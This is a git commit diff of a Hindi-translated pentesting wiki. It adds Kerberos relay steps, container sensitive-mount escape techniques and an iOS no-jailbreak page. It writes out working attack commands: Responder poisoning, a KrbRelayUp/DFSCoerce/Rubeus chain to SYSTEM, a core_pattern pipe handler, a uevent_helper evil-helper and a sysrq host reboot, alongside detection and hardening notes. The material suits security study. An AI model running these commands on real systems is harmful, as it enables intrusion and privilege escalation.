Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-05-11 15:15:38 +00:00
parent 4711bfa0c3
commit 1b1525b93c
5 changed files with 253 additions and 61 deletions

View File

@ -316,6 +316,7 @@
- [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md)
- [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
- [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
- [Flutter](mobile-pentesting/android-app-pentesting/flutter.md)
- [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md)
- [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
- [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
@ -342,6 +343,7 @@
- [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
- [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md)
- [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md)
- [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md)
- [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md)
- [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
- [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md)

View File

@ -8,14 +8,14 @@
- **LLMNR, NBT-NS, and mDNS**:
- Microsoft और अन्य ऑपरेटिंग सिस्टम LLMNR और NBT-NS का उपयोग स्थानीय नाम समाधान के लिए करते हैं जब DNS विफल हो जाता है। इसी तरह, Apple और Linux सिस्टम mDNS का उपयोग करते हैं।
- ये प्रोटोकॉल UDP पर अपनी बिना प्रमाणीकरण, प्रसारण प्रकृति के कारण इंटरसेप्शन और स्पूफिंग के प्रति संवेदनशील हैं।
- [Responder](https://github.com/lgandx/Responder) का उपयोग सेवाओं का अनुकरण करने के लिए किया जा सकता है, जो इन प्रोटोकॉल को क्वेरी करने वाले होस्ट को जाली प्रतिक्रियाएँ भेजता है।
- Responder का उपयोग करके सेवा अनुकरण पर अधिक जानकारी [यहाँ](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) मिल सकती है।
- ये प्रोटोकॉल UDP पर अपनी अनधिकृत, प्रसारण प्रकृति के कारण इंटरसेप्शन और स्पूफिंग के प्रति संवेदनशील हैं।
- [Responder](https://github.com/lgandx/Responder) का उपयोग सेवाओं की नकल करने के लिए किया जा सकता है, जो इन प्रोटोकॉल को क्वेरी करने वाले होस्ट को जाली प्रतिक्रियाएँ भेजता है।
- Responder का उपयोग करके सेवा नकल के बारे में अधिक जानकारी [यहाँ](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) मिल सकती है।
### Web Proxy Auto-Discovery Protocol (WPAD)
- WPAD ब्राउज़रों को स्वचालित रूप से प्रॉक्सी सेटिंग्स खोजने की अनुमति देता है।
- खोज DHCP, DNS, या DNS विफल होने पर LLMNR और NBT-NS पर वापस जाकर की जाती है।
- खोज DHCP, DNS के माध्यम से की जाती है, या यदि DNS विफल हो जाता है तो LLMNR और NBT-NS पर वापस जाती है।
- Responder WPAD हमलों को स्वचालित कर सकता है, ग्राहकों को दुर्भावनापूर्ण WPAD सर्वरों की ओर निर्देशित करता है।
### Responder for Protocol Poisoning
@ -30,9 +30,9 @@
- डिफ़ॉल्ट सेटिंग्स के साथ Responder चलाने के लिए: `responder -I <Interface>`
- अधिक आक्रामक प्रोबिंग के लिए (संभावित दुष्प्रभावों के साथ): `responder -I <Interface> -P -r -v`
- NTLMv1 चुनौतियों/प्रतिक्रियाओं को कैप्चर करने क तकनीकें: `responder -I <Interface> --lm --disable-ess`
- WPAD अनुकरण को सक्रिय किया जा सकता है: `responder -I <Interface> --wpad`
- NetBIOS अनुरोधों को हमलावर के IP पर हल किया जा सकता है, और एक प्रमाणीकरण प्रॉक्सी स्थापित की जा सकती है: `responder.py -I <interface> -Pv`
- NTLMv1 चुनौतियों/प्रतिक्रियाओं को कैप्चर करने के लिए तकनीकें: `responder -I <Interface> --lm --disable-ess`
- WPAD नकल को सक्रिय किया जा सकता है: `responder -I <Interface> --wpad`
- NetBIOS अनुरोधों को हमलावर के IP पर हल किया जा सकता है, और एक प्रमाणीकरण प्रॉक्सी स्थापित किया जा सकता है: `responder.py -I <interface> -Pv`
### DHCP Poisoning with Responder
@ -43,7 +43,7 @@
### Capturing Credentials with Responder
- Responder उपरोक्त प्रोटोकॉल का उपयोग करके सेवाओं का अनुकरण करेगा, जब कोई उपयोगकर्ता अनुकरणित सेवाओं के खिलाफ प्रमाणीकरण करने का प्रयास करता है, तो क्रेडेंशियल्स (आमतौर पर NTLMv2 चुनौती/प्रतिक्रिया) कैप्चर करता है।
- Responder उपरोक्त प्रोटोकॉल का उपयोग करके सेवाओं की नकल करेगा, जब एक उपयोगकर्ता स्पूफ की गई सेवाओं के खिलाफ प्रमाणीकरण करने का प्रयास करता है, तो क्रेडेंशियल्स (आमतौर पर NTLMv2 चुनौती/प्रतिक्रिया) कैप्चर करता है।
- NetNTLMv1 में डाउनग्रेड करने या आसान क्रेडेंशियल क्रैकिंग के लिए ESS को निष्क्रिय करने का प्रयास किया जा सकता है।
यह महत्वपूर्ण है कि इन तकनीकों का उपयोग कानूनी और नैतिक रूप से किया जाए, उचित प्राधिकरण सुनिश्चित करते हुए और व्यवधान या अनधिकृत पहुंच से बचते हुए।
@ -105,7 +105,7 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
```
ये उपकरण और तकनीकें विभिन्न नेटवर्क वातावरण में NTLM Relay हमलों को संचालित करने के लिए एक व्यापक सेट बनाती हैं।
ये उपकरण और तकनीकें विभिन्न नेटवर्क वातावरण में NTLM रिले हमलों को संचालित करने के लिए एक व्यापक सेट बनाती हैं।
### NTLM लॉगिन को मजबूर करना
@ -115,7 +115,110 @@ Windows में आप **कुछ विशेषाधिकार प्र
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
## संदर्भ
## Kerberos रिले हमला
एक **Kerberos रिले हमला** एक **AP-REQ टिकट** को एक सेवा से चुराता है और इसे दूसरी सेवा के खिलाफ पुनः उपयोग करता है जो **एक ही कंप्यूटर-खाता कुंजी** साझा करती है (क्योंकि दोनों SPNs एक ही `$` मशीन खाते पर होते हैं)। यह तब भी काम करता है जब SPNs की **सेवा श्रेणियाँ भिन्न** होती हैं (जैसे `CIFS/``LDAP/`) क्योंकि *कुंजी* जो टिकट को डिक्रिप्ट करती है वह मशीन का NT हैश है, न कि SPN स्ट्रिंग स्वयं और SPN स्ट्रिंग हस्ताक्षर का हिस्सा नहीं है।
NTLM रिले के विपरीत, कूद *एक ही होस्ट* तक सीमित है लेकिन, यदि आप एक प्रोटोकॉल को लक्षित करते हैं जो आपको LDAP में लिखने की अनुमति देता है, तो आप **Resource-Based Constrained Delegation (RBCD)** या **AD CS नामांकन** में चेन कर सकते हैं और एक ही बार में **NT AUTHORITY\SYSTEM** को पॉप कर सकते हैं।
इस हमले के बारे में विस्तृत जानकारी के लिए जांचें:
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
- 1. **Kerberos के मूल बातें**
| टोकन | उद्देश्य | रिले प्रासंगिकता |
|-------|---------|-----------------|
| **TGT / AS-REQ ↔ REP** | KDC के लिए उपयोगकर्ता को प्रमाणित करता है | बिना छेड़छाड़ |
| **सेवा टिकट / TGS-REQ ↔ REP** | एक **SPN** से बंधा; SPN मालिक की कुंजी से एन्क्रिप्ट किया गया | यदि SPNs खाते को साझा करते हैं तो आपस में बदलने योग्य |
| **AP-REQ** | क्लाइंट सेवा को `TGS` भेजता है | **जो हम चुराते हैं और पुनः खेलते हैं** |
* टिकट **SPN के मालिक के खाते की पासवर्ड-व्युत्पन्न कुंजी** से एन्क्रिप्ट होते हैं।
* AP-REQ के अंदर **Authenticator** में 5-मिनट का टाइमस्टैम्प होता है; उस विंडो के अंदर पुनः खेलना तब तक मान्य है जब तक सेवा कैश एक डुप्लिकेट नहीं देखता।
* Windows शायद ही कभी यह जांचता है कि टिकट में SPN स्ट्रिंग उस सेवा से मेल खाती है जिसे आप हिट करते हैं, इसलिए `CIFS/HOST` के लिए एक टिकट सामान्यतः `LDAP/HOST` पर ठीक से डिक्रिप्ट होता है।
- 2. **Kerberos को रिले करने के लिए क्या सच होना चाहिए**
1. **साझा कुंजी:** स्रोत और लक्ष्य SPNs एक ही कंप्यूटर खाते से संबंधित हैं (Windows सर्वरों पर डिफ़ॉल्ट)।
2. **कोई चैनल सुरक्षा नहीं:** SMB/LDAP साइनिंग बंद और HTTP/LDAPS के लिए EPA बंद।
3. **आप प्रमाणीकरण को इंटरसेप्ट या मजबूर कर सकते हैं:** LLMNR/NBNS जहर, DNS धोखा, **PetitPotam / DFSCoerce RPC**, नकली AuthIP, बागी DCOM, आदि।
4. **टिकट स्रोत पहले से उपयोग नहीं किया गया:** आप असली पैकेट हिट होने से पहले दौड़ जीतते हैं या इसे पूरी तरह से ब्लॉक करते हैं; अन्यथा सर्वर का पुनः खेल कैश इवेंट 4649 को सक्रिय करता है।
5. आपको संचार में **MitM करने में सक्षम होना चाहिए** शायद DNSAmins समूह का हिस्सा बनकर डोमेन का DNS संशोधित करने के लिए या पीड़ित की HOST फ़ाइल को बदलने में सक्षम होना चाहिए।
### Kerberos रिले चरण
- 3.1 **होस्ट की पहचान करें**
```powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
```
- 3.2 **रिले श्रोता शुरू करें**
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
```powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
```
`KrbRelayUp` **KrbRelay → LDAP → RBCD → Rubeus → SCM बायपास** को एक बाइनरी में लपेटता है।
- 3.3 **Kerberos प्रमाणीकरण को मजबूर करें**
```powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
```
DFSCoerce DC को हमें एक Kerberos `CIFS/DC01` टिकट भेजने के लिए मजबूर करता है।
- 3.4 **AP-REQ को रिले करें**
KrbRelay SMB से GSS ब्लॉब निकालता है, इसे LDAP बाइंड में फिर से पैकेज करता है, और इसे `ldap://DC01` पर अग्रेषित करता है—प्रमाणीकरण सफल होता है क्योंकि **वही कुंजी** इसे डिक्रिप्ट करती है।
- 3.5 **LDAP का दुरुपयोग ➜ RBCD ➜ SYSTEM**
```powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
```
You now own **NT AUTHORITY\SYSTEM**.
### **More paths worth knowing**
| Vector | Trick | Why it matters |
|--------|-------|----------------|
| **AuthIP / IPSec** | Fake server sends a **GSS-ID payload** with any SPN; client builds an AP-REQ straight to you | Works even across subnets; machine creds by default |
| **DCOM / MSRPC** | Malicious OXID resolver forces client to auth to arbitrary SPN and port | Pure *local* priv-esc; sidesteps firewall |
| **AD CS Web Enroll** | Relay machine ticket to `HTTP/CA` and get a cert, then **PKINIT** to mint TGTs | Bypasses LDAP signing defenses |
| **Shadow Credentials** | Write `msDS-KeyCredentialLink`, then PKINIT with forged key pair | No need to add a computer account |
### **Troubleshooting**
| Error | Meaning | Fix |
|-------|---------|-----|
| `KRB_AP_ERR_MODIFIED` | टिकट कुंजी ≠ लक्ष्य कुंजी | गलत होस्ट/SPN |
| `KRB_AP_ERR_SKEW` | घड़ी > 5 मिनट का अंतर | समय समन्वयित करें या `w32tm` का उपयोग करें |
| LDAP बाइंड विफल | साइनिंग लागू | AD CS पथ का उपयोग करें या साइनिंग बंद करें |
| इवेंट 4649 स्पैम | सेवा ने डुप्लिकेट ऑथेंटिकेटर देखा | मूल पैकेट को ब्लॉक करें या रेस करें |
### **Detection**
* **Event 4769** में एक ही स्रोत से `CIFS/`, `HTTP/`, `LDAP/` के लिए वृद्धि।
* सेवा पर **Event 4649** पुनःप्राप्ति का संकेत देती है।
* **127.0.0.1** से Kerberos लॉगिन (स्थानीय SCM के लिए रिले) अत्यधिक संदिग्ध है—KrbRelayUp दस्तावेज़ों में Sigma नियम के माध्यम से मैप करें।
* `msDS-AllowedToActOnBehalfOfOtherIdentity` या `msDS-KeyCredentialLink` विशेषताओं में परिवर्तनों पर नज़र रखें।
## **Hardening**
1. **हर सर्वर पर LDAP & SMB साइनिंग + EPA** लागू करें।
2. **SPNs को विभाजित करें** ताकि HTTP CIFS/LDAP के समान खाते पर न हो।
3. मजबूरण वेक्टर को पैच करें (PetitPotam KB5005413, DFS, AuthIP)।
4. **`ms-DS-MachineAccountQuota = 0`** सेट करें ताकि अवैध कंप्यूटर जुड़ाव रुक सके।
5. **Event 4649** और अप्रत्याशित लूपबैक Kerberos लॉगिन पर अलर्ट करें।
## References
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)

View File

@ -2,37 +2,49 @@
{{#include ../../../../banners/hacktricks-training.md}}
`/proc`, `/sys`, और `/var` का उचित namespace isolation के बिना खुलासा महत्वपूर्ण सुरक्षा जोखिमों को प्रस्तुत करता है, जिसमें हमले की सतह का विस्तार और जानकारी का खुलासा शामिल है। ये निर्देशिकाएँ संवेदनशील फ़ाइलें रखती हैं जो, यदि गलत तरीके से कॉन्फ़िगर की गईं या किसी अनधिकृत उपयोगकर्ता द्वारा एक्सेस की गईं, तो कंटेनर से भागने, होस्ट में संशोधन, या आगे के हमलों में मदद करने वाली जानकारी प्रदान कर सकती हैं। उदाहरण के लिए, `-v /proc:/host/proc` को गलत तरीके से माउंट करना AppArmor सुरक्षा को बायपास कर सकता है, जिससे `/host/proc` असुरक्षित रह जाता है।
`/proc`, `/sys`, और `/var` का उचित namespace isolation के बिना खुलासा महत्वपूर्ण सुरक्षा जोखिमों को प्रस्तुत करता है, जिसमें हमले की सतह का विस्तार और जानकारी का खुलासा शामिल है। ये निर्देशिकाएँ संवेदनशील फ़ाइलें रखती हैं जो, यदि गलत तरीके से कॉन्फ़िगर की गईं या किसी अनधिकृत उपयोगकर्ता द्वारा एक्सेस की गईं, तो कंटेनर से भागने, होस्ट में परिवर्तन, या आगे के हमलों में मदद करने वाली जानकारी प्रदान कर सकती हैं। उदाहरण के लिए, `-v /proc:/host/proc` को गलत तरीके से माउंट करने से AppArmor सुरक्षा को बायपास किया जा सकता है, जिससे `/host/proc` असुरक्षित रह जाता है।
**आप प्रत्येक संभावित vuln के बारे में और विवरण पा सकते हैं** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)****
**आप प्रत्येक संभावित vuln के बारे में और विवरण पा सकते हैं** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
## procfs Vulnerabilities
### `/proc/sys`
यह निर्देशिका कर्नेल वेरिएबल्स को संशोधित करने की अनुमति देती है, आमतौर पर `sysctl(2)` के माध्यम से, और इसमें कई उपनिर्देशिकाएँ शामिल हैं:
यह निर्देशिका कर्नेल वेरिएबल्स को संशोधित करने की अनुमति देती है, आमतौर पर `sysctl(2)` के माध्यम से, और इसमें कई उपनिर्देशिकाएँ शामिल हैं जो चिंता का विषय हैं:
#### **`/proc/sys/kernel/core_pattern`**
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) में वर्णित।
- कोर-फाइल जनरेशन पर निष्पादित करने के लिए एक प्रोग्राम को परिभाषित करने की अनुमति देता है, पहले 128 बाइट्स को तर्क के रूप में। यदि फ़ाइल एक पाइप `|` से शुरू होती है, तो यह कोड निष्पादन का कारण बन सकता है
- **परीक्षण और शोषण उदाहरण**:
- यदि आप इस फ़ाइल के अंदर लिख सकते हैं तो यह संभव है कि आप एक पाइप `|` लिखें उसके बाद एक प्रोग्राम या स्क्रिप्ट का पथ जो एक क्रैश होने के बाद निष्पादित होगा
- एक हमलावर अपने कंटेनर के अंदर बाइनरी के पथ को लिखने के लिए `mount` का उपयोग करके होस्ट के अंदर पथ खोज सकता है। फिर, एक प्रोग्राम को क्रैश करें ताकि कर्नेल बाइनरी को कंटेनर के बाहर निष्पादित करे।
- **परीक्षण और शोषण उदाहरण**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler
```
इस पोस्ट की अधिक जानकारी के लिए देखें [this post](https://pwning.systems/posts/escaping-containers-for-fun/)।
क्रैश होने वाला उदाहरण प्रोग्राम:
```c
int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) {
buf[i] = 1;
}
return 0;
}
```
#### **`/proc/sys/kernel/modprobe`**
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) में विस्तृत।
- कर्नेल मॉड्यूल लोडर का पथ रखता है, जिसे कर्नेल मॉड्यूल लोड करने के लिए बुलाया जाता है।
- कर्नेल मॉड्यूल लोडर का पथ शामिल है, जिसे कर्नेल मॉड्यूल लोड करने के लिए बुलाया जाता है।
- **एक्सेस जांचने का उदाहरण**:
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
ls -l $(cat /proc/sys/kernel/modprobe) # modprobe तक पहुंच की जांच करें
```
#### **`/proc/sys/vm/panic_on_oom`**
@ -42,13 +54,13 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
#### **`/proc/sys/fs`**
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) के अनुसार, फ़ाइल प्रणाली के बारे में विकल्प और जानकारी रखता है।
- लेखन पहुंच विभिन्न सेवा से इनकार के हमलों को सक्षम कर सकती है।
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) के अनुसार, फ़ाइल प्रणाली के बारे में विकल्प और जानकारी शामिल है।
- लेखन पहुंच विभिन्न सेवा से इनकार करने वाले हमलों को सक्षम कर सकती है।
#### **`/proc/sys/fs/binfmt_misc`**
- उनके जादुई नंबर के आधार पर गैर-देशी बाइनरी प्रारूपों के लिए व्याख्याकारों को पंजीकृत करने की अनुमति देता है।
- यदि `/proc/sys/fs/binfmt_misc/register` लिखा जा सकता है, तो यह विशेषाधिकार वृद्धि या रूट शेल एक्सेस का कारण बन सकता है।
- मैजिक नंबर के आधार पर गैर-देशी बाइनरी प्रारूपों के लिए इंटरप्रेटर्स को पंजीकरण करने की अनुमति देता है।
- यदि `/proc/sys/fs/binfmt_misc/register` लिखा जा सकता है, तो यह विशेषाधिकार वृद्धि या रूट शेल पहुंच की ओर ले जा सकता है।
- प्रासंगिक शोषण और व्याख्या:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- गहन ट्यूटोरियल: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
@ -66,13 +78,13 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
- **होस्ट को रिबूट करने का उदाहरण**:
```bash
echo b > /proc/sysrq-trigger # Reboots the host
echo b > /proc/sysrq-trigger # होस्ट को रिबूट करता है
```
#### **`/proc/kmsg`**
- कर्नेल रिंग बफर संदेशों को उजागर करता है।
- कर्नेल शोषण, पते के रिसाव में मदद कर सकता है, और संवेदनशील सिस्टम जानकारी प्रदान कर सकता है।
- कर्नेल शोषण, पते के लीक में मदद कर सकता है, और संवेदनशील सिस्टम जानकारी प्रदान कर सकता है।
#### **`/proc/kallsyms`**
@ -84,7 +96,7 @@ echo b > /proc/sysrq-trigger # Reboots the host
#### **`/proc/[pid]/mem`**
- कर्नेल मेमोरी डिवाइस `/dev/mem` के साथ इंटरफेस करता है।
- ऐतिहासिक रूप से विशेषाधिकार वृद्धि के हमलों के लिए संवेदनशील।
- ऐतिहासिक रूप से विशेषाधिकार वृद्धि के हमलों के प्रति संवेदनशील।
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) पर अधिक।
#### **`/proc/kcore`**
@ -96,23 +108,23 @@ echo b > /proc/sysrq-trigger # Reboots the host
#### **`/proc/kmem`**
- कर्नेल वर्चुअल मेमोरी का प्रतिनिधित्व करने के लिए `/dev/kmem`े लिए वैकल्पिक इंटरफेस।
- कर्नेल वर्चुअल मेमोरी का प्रतिनिधित्व करने के लिए `/dev/kmem` वैकल्पिक इंटरफेस।
- पढ़ने और लिखने की अनुमति देता है, इसलिए कर्नेल मेमोरी का प्रत्यक्ष संशोधन।
#### **`/proc/mem`**
- भौतिक मेमोरी का प्रतिनिधित्व करने के लिए `/dev/mem`े लिए वैकल्पिक इंटरफेस।
- भौतिक मेमोरी का प्रतिनिधित्व करने के लिए `/dev/mem` वैकल्पिक इंटरफेस।
- पढ़ने और लिखने की अनुमति देता है, सभी मेमोरी का संशोधन वर्चुअल से भौतिक पते को हल करने की आवश्यकता है।
#### **`/proc/sched_debug`**
- प्रक्रिया शेड्यूलिंग जानकारी लौटाता है, PID namespace सुरक्षा को बायपास करता है।
- प्रक्रिया नाम, आईडी, और cgroup पहचानकर्ताओं को उजागर करता है।
- प्रक्रिया शेड्यूलिंग जानकारी लौटाता है, PID नामस्थान सुरक्षा को बायपास करता है।
- प्रक्रिया नाम, आईडी और cgroup पहचानकर्ताओं को उजागर करता है।
#### **`/proc/[pid]/mountinfo`**
- प्रक्रिया के माउंट namespace में माउंट बिंदुओं के बारे में जानकारी प्रदान करता है।
- कंटेनर `rootfs` या छवि के स्थान को उजागर करता है।
- प्रक्रिया के माउंट नामस्थान में माउंट बिंदुओं के बारे में जानकारी प्रदान करता है।
- कंटेनर `rootfs` या छवि का स्थान उजागर करता है।
### `/sys` Vulnerabilities
@ -130,7 +142,7 @@ echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /ev
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
#### दुर्भावनापूर्ण सहायक के लिए uevent_helper सेट करता है
#### uevent_helper को दुर्भावनापूर्ण हेल्पर पर सेट करता है
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
@ -152,13 +164,13 @@ cat /output %%%
#### **`/sys/kernel/security`**
- `securityfs` इंटरफेस को रखता है, जो AppArmor जैसे Linux सुरक्षा मॉड्यूल की कॉन्फ़िगरेशन की अनुमति देता है।
- `securityfs` इंटरफेस का घर, Linux सुरक्षा मॉड्यूल जैसे AppArmor की कॉन्फ़िगरेशन की अनुमति देता है।
- पहुंच एक कंटेनर को अपने MAC सिस्टम को निष्क्रिय करने में सक्षम कर सकती है।
#### **`/sys/firmware/efi/vars` और `/sys/firmware/efi/efivars`**
- NVRAM में EFI वेरिएबल्स के साथ इंटरैक्ट करने के लिए इंटरफेस को उजागर करता है।
- गलत कॉन्फ़िगरेशन या शोषण से लैपटॉप को ब्रिक या अनबूटेबल होस्ट मशीनों का कारण बन सकता है
- NVRAM में EFI वेरिएबल्स के साथ इंटरैक्ट करने के लिए इंटरफेस उजागर करता है।
- गलत कॉन्फ़िगरेशन या शोषण से लैपटॉप या अनबूटेबल होस्ट मशीनें बर्बाद हो सकती हैं
#### **`/sys/kernel/debug`**
@ -167,7 +179,7 @@ cat /output %%%
### `/var` Vulnerabilities
होस्ट का **/var** फ़ोल्डर कंटेनर रनटाइम सॉकेट और कंटेनरों की फ़ाइल सिस्टम को रखता है। यदि इस फ़ोल्डर को एक कंटेनर के अंदर माउंट किया जाता है, तो उस कंटेनर को अन्य कंटेनरों की फ़ाइल सिस्टम पर रूट विशेषाधिकार के साथ पढ़ने-लिखने की पहुंच प्राप्त होगी। इसका दुरुपयोग कंटेनरों के बीच पिवट करने, सेवा से इनकार करने, या अन्य कंटेनरों और उन पर चलने वाले अनुप्रयोगों में बैकडोर डालने के लिए किया जा सकता है।
होस्ट का **/var** फ़ोल्डर कंटेनर रनटाइम सॉकेट और कंटेनरों की फ़ाइल सिस्टम को शामिल करता है। यदि यह फ़ोल्डर एक कंटेनर के अंदर माउंट किया गया है, तो उस कंटेनर को अन्य कंटेनरों की फ़ाइल सिस्टम पर रूट विशेषाधिकार के साथ पढ़ने-लिखने की पहुंच प्राप्त होगी। इसका दुरुपयोग कंटेनरों के बीच पिवट करने, सेवा से इनकार करने का कारण बनने, या अन्य कंटेनरों और उन पर चलने वाले अनुप्रयोगों में बैकडोर डालने के लिए किया जा सकता है।
#### Kubernetes
@ -218,9 +230,9 @@ The XSS was achieved:
![Stored XSS via mounted /var folder](/images/stored-xss-via-mounted-var-folder.png)
ध्यान दें कि कंटेनर को पुन प्रारंभ करने की आवश्यकता नहीं है या कुछ भी**/var** फ़ोल्डर के माध्यम से किए गए किसी भी परिवर्तन तुरंत लागू होंगे।
ध्यान दें कि कंटेनर को पुनरारंभ करने या किसी चीज़ की आवश्यकता नहीं है। **/var** फ़ोल्डर के माध्यम से किए गए किसी भी परिवर्तन तुरंत लागू होंगे।
आप स्वचालित (या अर्ध-स्वचालित) RCE प्राप्त करने के लिए कॉन्फ़िगरेशन फ़ाइलें, बाइनरी, सेवाएँ, अनुप्रयोग फ़ाइलें और शेल प्रोफाइल भी बदल सकते हैं।
आप स्वचालित (या अर्ध-स्वचालित) RCE प्राप्त करने के लिए कॉन्फ़िगरेशन फ़ाइलें, बाइनरी, सेवाएँ, एप्लिकेशन फ़ाइलें और शेल प्रोफाइल भी बदल सकते हैं।
##### Access to cloud credentials

View File

@ -0,0 +1,71 @@
# iOS Pentesting बिना Jailbreak के
{{#include ../../banners/hacktricks-training.md}}
## मुख्य विचार
ऐप्लिकेशन जो **entitlement `get_task_allow`** के साथ साइन किए गए हैं, तीसरे पक्ष के ऐप्लिकेशनों को **`task_for_pid()`** नामक एक फ़ंक्शन को प्रारंभिक ऐप्लिकेशन के प्रक्रिया आईडी के साथ तर्क के रूप में चलाने की अनुमति देते हैं ताकि उस पर कार्य पोर्ट प्राप्त किया जा सके (इसे नियंत्रित करने और इसकी मेमोरी तक पहुंचने में सक्षम होना)।
हालांकि, यह केवल IPA को खींचने, इसे entitlement के साथ फिर से साइन करने और इसे अपने डिवाइस पर फ्लैश करने जितना आसान नहीं है। इसका कारण FairPlay सुरक्षा है। जब ऐप का सिग्नेचर बदलता है, तो DRM (Digital Rights Management) कुंजी **अमान्य हो जाती है और ऐप काम नहीं करेगा**
एक पुराने जेलब्रोकन डिवाइस के साथ, IPA को स्थापित करना संभव है, **इसे अपने पसंदीदा टूल का उपयोग करके डिक्रिप्ट करना** (जैसे Iridium या frida-ios-dump), और इसे डिवाइस से वापस खींचना। हालांकि, यदि संभव हो, तो डिक्रिप्टेड IPA के लिए क्लाइंट से ही पूछना बेहतर है।
## डिक्रिप्टेड IPA प्राप्त करें
### इसे Apple से प्राप्त करें
1. iPhone में pentest करने के लिए ऐप इंस्टॉल करें
2. अपने macos में [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) इंस्टॉल और लॉन्च करें
3. अपने Mac पर `Terminal` खोलें, और `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` में cd करें। IPA बाद में इस फ़ोल्डर में दिखाई देगा।
4. आपको अपना iOS डिवाइस दिखाई देना चाहिए। उस पर डबल-क्लिक करें, और फिर शीर्ष मेनू बार से Add + → Apps पर क्लिक करें।
5. Add पर क्लिक करने के बाद, Configurator Apple से IPA डाउनलोड करेगा, और इसे आपके डिवाइस पर पुश करने का प्रयास करेगा। यदि आपने पहले मेरी सिफारिश का पालन किया और IPA पहले से ही इंस्टॉल किया है, तो ऐप को फिर से इंस्टॉल करने के लिए एक प्रॉम्प्ट दिखाई देगा।
6. IPA को `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` के अंदर डाउनलोड किया जाना चाहिए, जहाँ से आप इसे प्राप्त कर सकते हैं।
इस प्रक्रिया के बारे में अधिक विस्तृत जानकारी के लिए [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) देखें।
### ऐप को डिक्रिप्ट करना
IPA को डिक्रिप्ट करने के लिए हम इसे इंस्टॉल करने जा रहे हैं। हालाँकि, यदि आपके पास एक पुराना जेलब्रोकन iPhone है, तो संभावित रूप से इसका संस्करण ऐप द्वारा समर्थित नहीं होगा क्योंकि आमतौर पर ऐप्स केवल नवीनतम संस्करणों का समर्थन करते हैं।
